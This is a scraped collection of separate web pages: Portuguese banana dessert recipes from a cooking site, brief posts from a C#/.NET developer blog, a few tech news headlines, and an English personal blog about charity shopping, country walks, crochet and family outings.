    2. Junte a duas folhas de gelatina previamente amolecida em água fria e mexa até dissolver.
    3. Misture calmamente o restante dos ingredientes e coloque em taças.
    4. Leve a geladeira por algumas horas.
    5. Sirva decorando as taças com rodelas de bananas, canela em pó e algumas bolachinhas em volta (Fica mais bonito e saboroso).

    mousse de banana 4

    Qualquer cozinheiro iniciante pode se arriscar no preparo da mousse de banana. A receita rende, em média, seis porções. Receita do Dia agradece a sua visita. Bom apetite!

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              Rolinho primavera de banana com chocolate        

    Você já ouviu falar do rolinho primavera de banana com chocolate? Essa sobremesa, diferente e saborosa, tem conquistado o paladar de muitas pessoas. Leia a matéria e aprenda o passo a passo da receita.

    O rolinho primavera é uma iguaria de origem chinesa, mas que faz sucesso no mundo todo. Trata-se de um salgadinho com massa de farinha bem fina, recheado com vegetais picados, carne ou camarão. Com o passar nos anos, a receita ganhou novas adaptações. Os brasileiros, por exemplo, tiveram a brilhante ideia de criar o rolinho primavera recheado com banana e chocolate.

    [caption id="attachment_5103" align="alignnone" width="600"]Rolinho primavera pode ser doce sim! Conheça essa receita. (Foto: Divulgação) Rolinho primavera pode ser doce sim! Conheça essa receita. (Foto: Divulgação)[/caption]

    Receita de Rolinho primavera de banana com chocolate

    O rolinho primavera de banana com chocolate tem uma massa parecida com a do pastel, afinal, é bem crocante, fina e leve. O grande destaque, no entanto, é o recheio doce, que combina o sabor adocicado de uma fruta tropical com chocolate meio amargo. Essa sobremesa não dá trabalho e qualquer cozinheiro iniciante pode se arriscar.

    Separamos uma receita de rolinho primavera de banana com chocolate. Confira:

    Como fazer rolinho primavera

    Rolinho primavera de banana com chocolate 3

    1. Em uma tigela funda, coloque a farinha de trigo, a água gelada e o sal. Misture bem todos os ingredientes, tomando cuidado para não empelotar. O resultado será uma massa homogênea e mole.
    2. Leve a massa à geladeira e deixe descansar por 30 minutos.
    3. Providencie uma frigideira grande e antiaderente. Esquente-a.
    4. Em seguida, coloque uma camada de massa bem fina dentro da frigideira, com o auxílio de um pincel.
    5. A massa seca bem rápido, portanto, tome cuidado para ela não queimar. Repita o mesmo processo até a massa do rolinho chegar ao fim.
    6. A montagem é bem simples: descasque e corte cada banana pela metade. Em seguida, coloque essa metade dentro da massa, juntamente com um pedaço de chocolate meio amargo. Enrole, formando uma trouxinha.
    7. Esquente bem o óleo e frite os rolinhos, tomando cuidado para não encharcar.
    8. Pronto! Agora é só passar os rolinhos no açúcar e servir.

    Dicas: Rolinho primavera como fazer

    Rolinho primavera de banana com chocolate 1

    • Se você achar a massa do bolinho primavera muito difícil de preparar, então compre um rolo de massa de pastel e use no preparo. O seu trabalho na cozinha será bem menor e não tem o risco de errar o ponto.
    • Realce o sabor da banana e torne o recheio mais apetitoso acrescentando um pouco de canela em pó.

    E aí? Você está pronto para fazer o rolinho primavera de banana com chocolate em casa? Deixe um comentário falando o que achou dessa receita. O rendimento é de 12 porções e o tempo de preparo não passa de meia hora. Bom apetite!

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              Chips de banana        

    Você já ouviu falar dos chips de banana? Então leia a matéria e aprenda a preparar esse aperitivo delicioso, que está conquistando as famílias brasileiras com um sabor adocicado e irresistível. A receita é bem simples, rápida e leva ingredientes encontrados com facilidade no supermercado.

    Quando falamos em chips, normalmente pensamos em batatas cortadas em rodelas bem finas e submetidas à fritura. No entanto, essa técnica também pode ser colocada em prática com frutas, como é o caso da banana. É possível, ainda, incrementar os sabores com outros ingredientes, como açúcar, canela e até mesmo sal.

    [caption id="attachment_5082" align="alignnone" width="600"]Aprenda a fazer chips de banana. (Foto: Divulgação) Aprenda a fazer chips de banana. (Foto: Divulgação)[/caption]

    Receitas de chips de banana

    Quando tem cachos de banana sobrando na fruteira, é comum utilizá-los no preparo de bolos, tortas e outros doces. No entanto, eis que surge uma nova forma de empregar esse ingrediente na cozinha: os chips de banana.

    Como fazer Chips de banana

    Os chips são preparados com banana-da-terra ou nanica. Algumas receitas utilizam a fruta bem madura, já outras recomendam exemplares verdes para conquistar o sabor esperado. Se você não quiser fritar as bananas, então asse-as no forno ou no micro-ondas, tomando o cuidado de espremer um pouco de limão nas fatias para evitar o escurecimento.

    Confira a seguir duas formas bem fáceis de preparar chips de banana em casa:

    Chips salgados de banana

    Chips de banana 2

    Ingredientes

    2 bananas verdes
    ¼ colher de chá de açafrão da terra em pó
    2 colheres sopa de azeite
    Sal a gosto

    Modo de preparo: coloque as bananas com casca em uma panela com água. Leve ao fogo e deixe ferver por 10 minutos. Deixe esfriar, retire a casca e corte em rodelas finas. Coloque as fatias em um prato, revestindo-as com com azeite, açafrão e sal. Leve ao micro-ondas por 8 minutos, mas tome o cuidado de virar as bananas a cada 2 minutos.

    Chips doces de banana

    Chips de banana 1

    Ingredientes

    5 bananas
    2 xícaras de açúcar refinado
    ½ xícara de açúcar mascavo
    ½ xícara de água
    1 pau de canela
    1 pitada de sal
    Óleo para fritar

    Modo de preparo: Descasque as bananas e deixe-as de molho na água com gelo e um pouco de sal por 10 minutos. Corte em fatias finas e iguais. Deixe secar um pouco. Aqueça bem o óleo e frite os chips por 2 minutos, até as bananas dourarem. Retire as bananas com o auxílio de uma espumadeira e coloque-as sobre o papel-toalha. Em uma outra panela, prepare uma calda de açúcar, usando os dois tipos de açúcar, a canela e a água. Por fim, é só mergulhar os chips fritos nessa calda e sirva.

    Salgado ou doce, os chips de banana podem ser servidos como aperitivo. As fatias ficam crocantes e saborosas, assim como acontece com as batatinhas. Bom apetite!

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              Bolo de banana com canela e cobertura de chocolate        

    bolo de banana com canela

    O bolo de banana com canela e cobertura de chocolate é um doce que consegue deixar qualquer um com água na boca. Além de ser saboroso, ele também tem a vantagem de ser super fácil e rápido de preparar. Leia a matéria e confira o passo-a-passo da receita.

    Receita de Bolo de banana com canela

    Considerado um prato típico da culinária brasileira, o bolo de banana possui diferentes variações. Ele pode ser mais fofinho ou molhadinho e até mesmo levar alguns ingredientes que combinam perfeitamente com o sabor dessa fruta tropical, como é o caso da canela. Nos últimos tempos, uma receita que tem feito muito sucesso é aquela que leva cobertura de chocolate.

    [caption id="attachment_4903" align="alignnone" width="606"]Prepare um delicioso bolo de banana com cobertura de chocolate. (Foto: Divulgação) Prepare um delicioso bolo de banana com cobertura de chocolate. (Foto: Divulgação)[/caption]

    Confira a seguir uma receita de bolo de banana com canela e cobertura de chocolate:

    Como fazer bolo de banana com canela

    Modo de Preparo

    Bolo de banana e canela com cobertura de chocolate 1

    1. Pré-aqueça o forno à 200º C.

    2. No liquidificador, coloque os ovos, a canela, o açúcar, o óleo e as bananas picadas. Bata bem até obter uma mistura homogênea e reserve.

    3. Em uma tigela funda, adicione a mistura preparada no passo anterior, juntamente com a farinha de rosca e o fermento em pó. Mexa bem todos os ingredientes, com o auxílio de um fuê.

    4. Providencie uma assadeira retangular, de preferência com medidas de 32 x 22 cm. Passe um pouco de margarina no interior desse recipiente e polvilhe farinha de rosca.

    5. Despeje a massa do bolo de banana na assadeira untada.

    6. Coloque o bolo para assar, em forno pré-aquecido, por aproximadamente 1 hora.

    7. Enquanto o bolo de banana estiver assando, aproveite para preparar a cobertura. Numa panela, coloque a margarina, o chocolate em pó, o açúcar e o leite. Leve essa mistura ao fogo e mexa até começar a engrossar. É, basicamente, a mesma cobertura usada no bolo de cenoura.

    8. Verifique se o bolo já está assado, fazendo o teste do palito. Se estiver no ponto, retire-o do forno e desenforme.

    9. Cubra o bolo de banana e canela com uma deliciosa calda de chocolate.

    Bolo de banana e canela com cobertura de chocolate

    10. Pronto! Agora é só polvilhar chocolate granulado, cortar em quadradinhos e servir.

    Viu só como é fácil fazer o bolo de banana com canela e cobertura de chocolate? Agora é só selecionar os ingredientes e começar a preparar. Essa receita leva 50 minutos para ficar pronta e tem um rendimento de 20 porções. Bom apetite!

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              Cheesecake de chocolate com banana        

    Que tal preparar um cheesecake de chocolate com banana? Essa adaptação brasileira da receita norte-americana tem feito sucesso e conquistado o paladar de muita gente. O passo-a-passo da sobremesa parece complicado, mas na verdade não é. Qualquer cozinheiro de primeira viagem pode se arriscar e fazer esse doce diferente para impressionar os familiares ou amigos.

    Cheesecake: receita

    O cheesecake (bolo de queijo) é uma sobremesa bastante popular nos Estados Unidos. A receita tradicional é preparada com uma massa crocante de base, recheio cremoso de queijo e uma cobertura saborosa, normalmente feita com frutas (geleia de morango, amora, goiaba, entre outras). Com o passar do tempo, o doce passou a incorporar outros ingredientes e ganhou novos sabores.

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    Receita de cheesecake de chocolate com banana

    Separamos uma deliciosa receita de cheesecake para você fazer em casa, que leva chocolate e banana. Confira:

    Ingredientes

    1 barra de chocolate amargo
    4 bananas em fatias
    1 pacote de biscoito maisena
    1 colher (sopa) de cacau em pó
    1 pote de cream cheese
    3 colheres (sopa) de margarina
    1 caixa de creme de leite
    ½ xícara (chá) de açúcar
    2 colheres (chá) de gelatina incolor
    1/2 xícara (chá) de água

    Como fazer cheesecake

    Modo de preparo

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    1. Para fazer a massa do cheesecake, você vai precisar triturar os biscoitos de maisena no liquidificador.

    2. Em uma tigela, coloque a margarina, o cacau em pó e a bolacha triturada. Misture bem com as mãos, até formar uma farofinha.

    3. Coloque a massa em uma forma untada de aro removível. Leve ao forno médio preaquecido por 15 minutos. Quando a massa estiver começando a dourar, é sinal de que está bom. Retire do forno e deixe esfriar. Reserve.

    4. Chegou a hora de fazer o creme branco do bolo. Em um recipiente, misture o cream cheese, o açúcar e o creme de leite. Depois, junte a gelatina incolor (já hidratada na água e bem dissolvida). Misture bem.

    5. Despeje o creme sobre a massa. Em seguida, coloque as fatias de banana. Coloque para gelar por alguns minutos, pois assim o doce adquire uma consistência mais firme.

    6. Derreta o chocolate meio amargo em banho-maria, até obter uma calda. Espere esfriar um pouco.

    7. Adicione a cobertura de chocolate ao cheesecake, cobrindo bem as bananas picadas. Leve à geladeira por 1 hora.

    8. Pronto! Agora é só desenformar, decorar e servir.

    [caption id="attachment_4785" align="alignnone" width="606"]Cheesecake de chocolate com banana 2 Exemplo de decoração. (Foto: Divulgação)[/caption]

    Agora você já sabe como preparar um cheesecake de chocolate com banana. O rendimento é de 15 porções e o tempo de preparo é de aproximadamente duas horas. Bom apetite!

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              Sobremesa de Banana        

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              Bolo de banana caramelizado        

    como fazer bolo de banana

    Aprenda como fazer um bolo de banana caramelizado, uma delícia que pode ser servida no lanche da tarde para toda a família. Além do modo de preparo ser bem simples e rápido, os ingredientes utilizados nessa receita também são baratos e fáceis de encontrar.

    Receita de bolo de banana caramelizado

    [caption id="attachment_3675" align="alignnone" width="602"]Aprenda a fazer um delicioso bolo de banana caramelizado. (Foto: Divulgação) Aprenda a fazer um delicioso bolo de banana caramelizado. (Foto: Divulgação)[/caption]

    O bolo de banana já é um velho conhecido dos brasileiros, afinal, estamos falando de uma iguaria feita com a fruta mais popular do nosso país. A versão caramelizada dessa receita leva uma deliciosa calda de açúcar e conta, ainda, com uma decoração com bananas maduras.

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    Receita de bolo de banana caramelizado

    Não sabe como fazer um delicioso bolo de banana caramelizado? Então acompanhe a receita a seguir:

    Como fazer bolo de banana

    1- Inicie a receita preparando a massa. No recipiente da batedeira, coloque o açúcar, a margarina e as gemas. Misture os ingredientes com uma colher e, em seguida, bata bem.

    2- Acrescente o leite à massa e bata por mais alguns minutos.

    3- O próximo passo é colocar a farinha de trigo, aos poucos, para não dificultar o trabalho da batedeira.

    4- O preparo da massa do bolo não para por aí. Você deve juntar as claras em neve e, por último, o fermento em pó. Bata bem os ingredientes, até obter uma massa homogênea. Reserve.

    5- Agora chegou a hora de fazer a calda. Coloque o açúcar e a água em uma panela, depois, leve esses ingredientes ao fogo médio. Mexa até obter uma consistência de caramelo. O ideal é deixar ferver a calda por 10 minutos.

    6- Providencie uma assadeira retangular. Unte-a com a calda caramelizada, distribuindo a mistura uniformemente.

    7- Corte as bananas no sentido comprido e distribua as fatias sobre a superfície com caramelo da assadeira.

    8- Despeje a massa sobre as bananas fatiadas.

    9- Leve o bolo para assar em forno médio (180 graus) por 30 minutos.

    10- O último passo da receita consiste em desenformar. Enquanto o bolo ainda estiver morno, vire-o sobre um prato e dê leve batidinhas no fundo da assadeira.

    Viu só como é simples e prático preparar um bolo de banana caramelizado? Você levará em média uma hora para concluir a receita e o rendimento é de aproximadamente 12 porções. Receita do Dia agradece a sua visita. Bom apetite!

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              Bolo Integral de Banana        

    receita de bolo integral de banana

    Que tal preparar um bolo integral de banana? Essa receita é bem simples, prática e leva ingredientes saudáveis. O segredo do preparado consiste, basicamente, em trabalhar com a farinha de trigo integral na massa, bem como o açúcar mascavo, a aveia e, quem sabe, algum tipo de semente (a linhaça, por exemplo).

    Receita de Bolo Integral de Banana

    A banana é uma fruta popular do Brasil. O seu sabor adocicado faz muito sucesso na culinária, por isso ela é usada para preparar tortas, bananadas, bolos, entre outras sobremesas deliciosas. No caso do bolo, é possível trabalhar com diferentes ingredientes e formas de preparo.

    O bolo integral de banana se destaca como um doce saudável, afinal, ele combina os nutrientes da fruta às propriedades nutricionais dos ingredientes integrais. Ele não possui a calda caramelizada, como a receita tradicional, mas mesmo assim é muito saboroso.

    bolo integral de banana 3

    Confira a seguir o passo-a-passo para fazer o bolo integral de banana:

    Como fazer bolo integral de banana

    Ingredientes:

    • 6 bananas nanica
    • 1 xícara (chá) de farinha de trigo integral
    • 4 ovos inteiros
    • 1/2 xícara (chá) de óleo de canola
    • 1 xícara (chá) de aveia
    • 1 colher (sopa) de fermento em pó
    • 1/2 xícara (chá) de leite desnatado
    • 2 colheres (sopa) de linhaça
    • 2 xícaras (chá) de açúcar mascavo.
    • Canela para salpicar

    Modo de preparo

    Bolo Integral de Banana 2

    1. Descasque as bananas e corte-as em rodelas. Reserve.

    2. Coloque todos os ingredientes da massa no liquidificador, ou seja, os ovos, a farinha integral, o açúcar mascavo, a aveia, o óleo, o leite e o fermento (por último). Bata bem até obter uma mistura homogênea. Para essa etapa ficar mais fácil, procure intercalar os ingredientes líquidos e secos.

    3. Transfira a massa para uma forma untada com margarina e farinha. Distribua as rodelas de banana sobre a massa e salpique a canela.

    4. Leve o bolo ao forno pré-aquecido a 180º. Deixe assar por 45 minutos.

    Bolo Integral de Banana 1

    Dicas para o seu bolo

    • Para deixar a massa com gostinho de banana, adicione uma unidade da fruta na hora de bater os ingredientes.
    • Você pode incrementar o recheio do seu bolo, adicionando ameixas secas sem caroço, maça picada e até mesmo castanha.
    • Na hora de comprar a banana, atenção. Em algumas regiões do país, a banana nanica também é chamada de caturra.

    O bolo integral de banana é uma receita perfeita para quem está fazendo dieta e procura uma sobremesa light. O rendimento é de 12 porções e o tempo de preparo equivale à uma hora. Receita do Dia agrade pela sua visita. Bom apetite!

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              Cuca rápida de banana        

    cuca rápida de banana

    A cuca rápida de banana é uma excelente opção de sobremesa para quem não pode perder muito tempo na cozinha. A receita é prática, simples e fica pronta em menos de uma hora. Leia a matéria para conhecer um pouco mais sobre esse doce, os ingredientes necessários e as etapas do preparo.

    Oriunda da culinária alemã, a cuca é um doce saboroso que tem conquistado espaço na mesa das famílias brasileiras. Também chamada de kuche, essa sobremesa nada mais é do que um bolo com massa macia, coberto por uma crocante farofa preparada à base de manteiga.

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    Desde quando a cuca rápida ganhou o mundo, a sua receita passou por muitas adaptações. No Brasil, a variação mais popular do bolo é preparada com bananas. Há também quem prepare a cuca usando maçãs, morangos, entre outras frutas.

    Receita de cuca rápida

    Anote aí a nossa receita de cuca rápida de banana para fazer em casa:

    Como fazer cuca rápida de banana


    Ingredientes:

    Massa

    • 4 xícaras (chá) de farinha de trigo
    • 2 xícaras (chá) de açúcar
    • 5 bananas amassadas
    • 3 ovos
    • 1 colher (chá) bicarbonato de sódio
    • 2 colheres (sopa) de fermento em pó
    • 1 xícara (chá) de leite
    • ½ xícara de óleo
    • 100g de nozes picadas
    • 1 pitada de sal

    Cobertura

    3 colheres (sopa) de farinha de trigo
    1 colher (sopa) de canela
    1 colheres (sopa) de margarina sem sal
    3 colheres (sopa) de açúcar

    Modo de preparo

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    1. Inicie o preparo da massa batendo os ovos, o óleo e o leite na batedeira.

    2. Depois, junte o açúcar, o bicarbonato de sódio e o sal. Bata mais um pouco.

    3. Despeje a mistura da cuca em uma vasilha funda. Em seguida, acrescente os demais ingredientes da massa (a banana, farinha de trigo e o fermento). Mexa tudo com o auxílio de um fuê. O resultado será uma massa cremosa e homogênea.

    4. Para preparar a cobertura de farofa da cuca é bem simples. Providencie um recipiente e misture todos os ingredientes listados acima, ou seja, a farinha, a margarina, o açúcar e a canela. Amasse com as pontas dos dedos, até finalmente formar uma farofa.

    [caption id="attachment_3717" align="alignnone" width="600"]Montagem da cuca. (Foto: Divulgação) Montagem da cuca. (Foto: Divulgação)[/caption]

    5. Unte uma assadeira com um pouco de margarina e farinha de trigo. Depois, adicione a massa da cuca a esse recipiente e faça uma camada com bananas fatiadas e nozes. Por fim, cubra o bolo com farofa doce.

    6. Leve a cuca ao forno pré-aquecido a 180 graus por 40 minutos. O ponto certo é quando a farofa começar a dourar.

    A cuca é uma preciosa herança dos imigrantes alemães e pode ser preparada em casa com facilidade. A receita apresentada acima tem um rendimento de 25 porções. E aí? Mãos à massa para preparar a cuca rápida? Receita do Dia agradece a sua visita. Bom apetite!

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              Bolo de banana sem glúten de liquidificador        

    O Bolo de banana sem glúten de liquidificador é uma receita perfeita para preparar em casa e servir aos familiares. Ela não leva farinha de trigo, mas mesmo assim adquire uma boa consistência e preserva o sabor da massa. Leia a matéria e veja o passo a passo dessa deliciosa iguaria.

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    [caption id="attachment_3014" align="alignnone" width="600"]Aprenda a fazer um delicioso bolo de banana sem glúten. (Foto: Divulgação) Aprenda a fazer um delicioso bolo de banana sem glúten. (Foto: Divulgação)[/caption]

    O glúten é um composto de proteína encontrado em vários ingredientes que usamos da cozinha, como é o caso da farinha de trigo, do centeio, da cevada e do malte. Algumas pessoas possuem intolerância a essa substância, como é o caso dos portadores de doença célica. Quando o organismo não aceita bem o glúten, é comum desenvolver sintomas como anemia, diarreia, fraqueza e perda de peso. Muitas receitas podem ser preparadas para quem não pode comer glúten, inclusive o bolo de banana.

    A receita de bolo de banana sem glúten não precisa ser preparada apenas para as pessoas com doença célica, afinal, ela também pode ser incluída na dieta de quem busca uma alimentação mais saudável. Já está comprovado que o glúten causa uma série de disfunções, como inchaço, prisão de ventre, excesso de gordura corporal e alteração no humor.

    Receita de Bolo de banana sem glúten de liquidificador

    [caption id="attachment_3013" align="alignnone" width="601"]Bolo preparado em uma fôrma inglesa. (Foto: Divulgação) Bolo preparado em uma fôrma inglesa. (Foto: Divulgação)[/caption]

    Vamos preparar um bolo de banana sem glúten de liquidificador? Acompanhe a receita:

    Ingredientes:

    2 xícaras (chá) de farinha de arroz
    1 xícara (chá) de açúcar mascavo
    3 bananas nanicas bem maduras
    1 colher (chá) de canela em pó
    ½ xícara de chá de leite
    ½ xícara de chá de óleo
    3 ovos
    1 colher (sopa) de fermento em pó
    1 pitada de sal

    Modo de preparo

    [caption id="attachment_3016" align="alignnone" width="617"]A farinha de arroz substitui a farinha de trigo. (Foto: Divulgação) A farinha de arroz substitui a farinha de trigo. (Foto: Divulgação)[/caption]

    1. Coloque no liquidificador os ovos, as bananas picadas em rodelas, o leite e o açúcar. Bata por alguns minutos.

    2. Agora acrescente a farinha de arroz e a canela em pó. Bata mais um pouco.

    3. Coloque a mistura do bolo em uma vasilha e acrescente o fermento em pó. Bata bem com o auxílio de um fuê.

    4. Unte uma fôrma com margarina e farinha. Depois, coloque a massa.

    5. Leve o bolo de banana sem glúten ao forno pré-aquecido a uma temperatura de 180 graus. Deixe assar por 30 minutos.

    6. Antes de tirar o bolo de banana do forno, faça o teste do palito e veja se ele realmente está no ponto.

    7. Finalize a receita polvilhando duas colheres de açúcar branco com 1 colher de canela sobre o bolo.

    8. Pronto! Agora é só cortar em pedaços e servir para a família com café.

    Prepare o bolo de banana sem glúten de liquidificador em casa e torne a sua dieta muito mais saborosa. Receita do dia agradece a sua visita. Bom apetite!

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              Bolo de banana integral        

    Receita de bolo de banana integral

    O bolo de banana integral se destaca como um doce saudável, afinal, ele combina os nutrientes da fruta às propriedades nutricionais dos ingredientes integrais. Ele não possui a calda caramelizada, como a receita tradicional, mas mesmo assim é muito saboroso. O bolo de banana integral é uma receita perfeita para quem está fazendo dieta e procura uma sobremesa light.

    receita de bolo de banana integral

    Ingredientes:

    • 4 ovos inteiros
    • 6 bananas nanica cortadas em rodelas
    • 1/2 xícara (chá) de óleo de canola
    • 1/2 xícara (chá) de leite desnatado
    • 1 xícara (chá) de farinha de trigo integral
    • 1 xícara (chá) de aveia
    • 2 xícaras (chá) não muito cheias, de açúcar mascavo.
    • Canela para salpicar
    • 1 colher de sopa de fermento em pó

    Modo de Preparo:

    1. Bata todos os ingredientes no liquidificador com apenas 1 banana, coloque em forma untada com óleo e farinha.
    2. Ponha as rodelas de banana sobre essa massa e salpique com canela.
    3. Assar em forno pré-aquecido, a 180° por aproximadamente 50 minutos.

    O rendimento é de 12 porções e o tempo de preparo equivale à uma hora. Receita do Dia agrade pela sua visita. Tenha um bom apetite!

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              C#/.NET Little Wonders Anthology        

    Originally posted on: http://geekswithblogs.net/BlackRabbitCoder/archive/2016/04/19/c.net-little-wonders-anthology.aspx

    The following is the complete anthology of Little Wonders, Pitfalls, and Presentations.  

    Enjoy!  A new little puzzler will be coming out this week.

    The C# 6 Little Wonders

    The Original C#/.NET Little Wonders Trilogy

    The C#/.NET Little Wonder Sequels

    The Visual Studio Little Wonders

    The C#/.NET Concurrent Little Wonders

    The C#/.NET Little Pitfalls

    The C#/.NET Little Wonders and Little Pitfalls Presentations

    C#/.NET Little Wonders from BlackRabbitCoder

    More Little Wonders of C#/.NET from BlackRabbitCoder

    C#/.NET Little Pitfalls from BlackRabbitCoder

    The C#/.NET Fundaments: Of Lambdas and LINQ Presentation

    Of Lambdas and LINQ from BlackRabbitCoder

     

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              Amazon.com Recruiting Event Coming to St. Louis in April        

    Originally posted on: http://geekswithblogs.net/BlackRabbitCoder/archive/2016/03/23/amazon.com-recruiting-event-coming-to-st.-louis-in-april.aspx

    Hey all my friends and readers in the St. Louis area, my team from Amazon is heading to St. Louis to do an in-person hiring event in April!

    Have you always wanted to work in a place that hires and develops the best?  That lets builders be builders?  That has excellent benefits and salary/bonuses?  That has a clear technical path all the way from entry-level developer to architect and beyond?

    If you're a developer who loves to solve problems and learn new skills, and be in an environment that encourages you to learn and grow, this is a great opportunity.

    We will be there in the last week of April (I'll send more information when I know more).  Let me know if you are interested in an interview while we are there and I'll get you in contact with recruiting.

    -Jim


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              Google CEO Sundar Pichai faces a critical test of his leadership today        
    Google CEO Sundar Pichai must keep his workforce united amid diversity uproar, even as Facebook and other rivals attack its markets.
              Female tech CEO on sexist Google memo: It's time to push back and say 'no'        
    "It's time for every single woman to denounce this line of thought."
              Memo to all tech bros: Sexism, not biology, holds women back        
    Women are not biologically predestined to be bit players in tech firms no matter what one (ex) Google engineer thinks of diversity programmes, says Lara Williams
              Android OS – perhaps time for a new phone?        

    From the moment Google announced its Android OS for mobile phones it quite appealed to me. I’m currently quite happy with my Nokia N95 8GB, but still… 😉 The HTC Magic, currently available over here in Norway is not quite my style though… I prefer my phones to be black! 😉 I also want a
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              Some rummaging, Star Wars and a trip to the seaside        
    The forget-me-nots (above) were clustered in the corner of a field and are for the victims of the bomb in Manchester.

    It was horrifying to wake up last Tuesday morning and hear the dreadful news about the suicide bombing at a pop concert in Manchester. What a truly wicked thing to do. It does nothing to improve the perceptions of Muslims here and elsewhere; as they have now become the new persecuted minority; based on the acts of individuals who carry out these horrible deeds. No one who carries out this type of act is a true Muslim.

    My heart goes out to all the children, adults and their families who were killed or injured in this dreadful attack.
    -------------------------------------------------------------------------------------------

    Well, what a wonderful week of weather we've had!

    Last Tuesday I was at the food bank and was glad of its coolness, for once, as it was quite a muggy day. When I finished there I went for a walk and walked 6.8 miles. It was my first walk for over a week and I had missed it. 


    It was a beautiful afternoon. The mugginess had gone; the sun shone; the birds sang and the bees and insects hummed. I remembered to put Factor 50 sunscreen on my face in the morning before I put my make up on and I did it everyday whilst we had such lovely sunny weather. The back of my neck, upper chest, hands and feet get very brown in the summer as they are always exposed; I have to remember to apply sunscreen to these areas and to wear a hat!


    Everything is charity shopped except the Mary Jane shoes bought from PJ Shoes; a local shoe retail shop; about 3 years ago. The trousers are from George at Asda and the blue top was bought from a £1.00 rail somewhere...


    All jewellery charity shopped.




    On Wednesday I invigilated in the morning and ran some errands in town after I had finished. But first I paid a visit to Barnardo's in Great Denham where I hadn't been for a few weeks. I bought a few things from the 99p rail - it would have been rude not to!

     What did I buy? I bought some brand new, never worn metallic gold slip on shoes; a plaid night shirt (for winter); a grey shrug/cardigan and a beautiful pale lime green, boiled/felted wool jacket (again for  winter). When I finally went into town I bought some lovely silver earrings in the Reuse shop for 2.00. I managed to walk almost 3 miles in the course of my errand running!


    I spent the rest of the afternoon crocheting and sitting out in the garden enjoying the brilliant weather. I was determined to finish the blanket last week and spend the next week sewing the ends in (aaagggghhhh - such a horrible job!) and making a border for it. I'll save my next crochet project for Ireland as I'm going to be away for two months...I'm planning to make a V stitch blanket and use up my stash of blue and green wool in making it.


    I made this one a few years ago and it's on our two seater sofa where it gets quite a lot of use on cold evenings...


    Everything is charity shopped except the kimono which was a Christmas present from my daughter three years ago. Trousers are by Tu at Sainsbury's; linen top no label but from 1.00 rail in the Red Cross.


    Because it was such a hot day I had to put my sandals on but my toenails needed painting...


    All jewellery charity shopped except the earrings - 99p from e bay.

    I invigilated again on Thursday morning and in the afternoon. It was another scorching day.


    Top by Principles; 1.00 rail at the Red Cross. Linen M & S trousers; £1.00 rail Barnardo's in Ampthill. I bought the vintage blouse/kimono by Kanga in a charity shop in Cambridge last summer for 2.99.


    Shoes; PJ shoes. Can you see how puffy my feet are? They swell in the heat and they're worse when I've been on them for hours as I was on Thursday. I also wore my large turquoise ring on Thursday but I took it off to wash my hands and couldn't get it back on again because my fingers had swollen too...

    All jewellery charity shopped except watch (present) and earrings; 99p from e bay.

    On Friday I ventured out after the school run for a walk. I walked 8.5 miles and sweated like a pig from beginning to end. Boy, was it hot! I also had to do the food shopping after that and the school run. One that was over I finished my latest library book 'All We Shall Know' by Donal Ryan. It's an absolutely beautiful, emotional read and I can't recommend it highly enough. Donal Ryan's writing is poetic and his use of the rhythms and phraseology of Irish speech is wonderful. It made me cry and laugh and I don't think you can ask more of a novel than that.

    On Saturday OH and I went for a rummage. We decided to go to Stevenage and because they only had 5 charity shops we went to Hitchin as well. Hitchin is much smaller and has 8 charity shops! Weird.


    I wore a hat to shield my face from the sun. I got my face a little burnt when I went walking on Friday despite Factor 50 sunblock. It wasn't so hot on Saturday but it was nice and breezy; so breezy in fact the hat blew away several times and I abandoned  wearing it.

    Everything, including the hat, is charity shopped. I can't remember where I bought the dress; the linen jacket is from the Guild House.  I wore these Mary Jane shoes because they are very comfortable with a raised platform and ideal for walking around.


    Bangles and ring charity shopped.


    Beads charity shopped in Donegal, earrings bought in the week from the Reuse shop and brooch charity shopped.

    Of course, I  had to buy stuff. I bought 3 pairs of earrings for a 1.00 in the Garden Hospice shop in Hitchin; another pair with a Celtic design and a deep red pair both a 1.00 each in two different Hospice shops in Stevenage. I bough a pair of Boyfriend jeans for 1.60 and an ethnic print top for 2.00  on a reduced rail in the Salvation Army in Stevenage; a pink floral pair of trousers for 4.00 in the Keech Hospice shop in Hitchin. A good day's rummaging, I thought. OH did very well, too.

    We saw a Storm Trooper (from Star Wars) and R2D2: (edited thanks to Sheila!)



    They were part of a fund raising event for Age UK.

    On BH Monday we went to the seaside at Holkham, Norfolk with the grand kids. It was bloody freezing! We ate our picnic there.  Holkham is also a nature reserve and when we were leaving we saw 2 Spoonbills flying over head; they looked like arrows, long and thin with wings; it was a marvellous sight and it made my day.

    Courtesy of Google images
    We then drove to Wells Next the Sea; which is about mile and a half away -  a pretty little seaside town where we warmed up in a cafe with hot drinks; wandered about; spent ages in the arcade and finally left as the rain was coming down. Of all the days to pick to go to the seaside we chose the worst one!


    Wells Next the Sea

    Wells Next the Sea

    I've now finished my crochet blanket and done the edging. There's only about 300 tails to sew in so it will take me some time...

    My Chromebook (which I inherited from the eldest grandson) is in terminal decline. The screen has a line across it and what looks like a side view of a breast with a silouhette on the right hand side of the screen. I don't know how much longer it will last; the 'breast' is getting bigger and is blocking some of my page content. I'm hoping it will last until I go to Ireland but I may have to buy a new one soon and that will eat into my holiday money. We'll see. Hopefully, I 'll be able to post next week but if I don't you'll know the Chromebook has died!

              A very happy week was spent with...        

    This is my cousin, Linda. She is the oldest of the cousins on my mum's side and we first met when I was 7 (in 1961) in my granny's house in Ireland.  Linda had never visited England before so she came to spend 5 days with me in April; we had such an enjoyable time.

    In the photo above I'm wearing an  embroidered wool waistcoat from a charity shop which Linda bought me.  I'd seen this same waistcoat on a rummaging expedition with the OH last year and didn't buy it. I'd been regretting it ever since!

     Linda and I spent a whole day charity shopping and a couple of hours on another day. We went to the Ampthill and Great Denham charity shops and quite a lot of the Bedford ones.  There were still seven charity shops in Bedford we didn't have time to visit  so that's for Linda's next trip. Did Linda find anything? Yes! She found some beautiful cardigans;  some trousers, a sweater and some shoes. I found a pair of jeans; some colourful trousers; a skirt and some pictures for Ruby Super.


    We went for dinner at my daughter's one evening and also managed to fit in two six mile walks on two different days. On one of our walks, Linda marched up the drive marked 'Private Property' and in the photo above is at the door of Clapham Park House which was:

    'Originally built in 1873 for the Howard Family, founders of the Britannia Works in Bedford, Park House is a magnificent striking piece of Victorian architecture in a French Gothic style.' (From the Rightmove website).


    We went to London for the day on Saturday where we saw the Houses of Parliament, Big Ben, Westminster Abbey and the Treasury. This was taken in Parliament Square. We also went to the Tower of London.


    We set out to visit the Perspehone bookshop in Bloomsbury but got there too late...


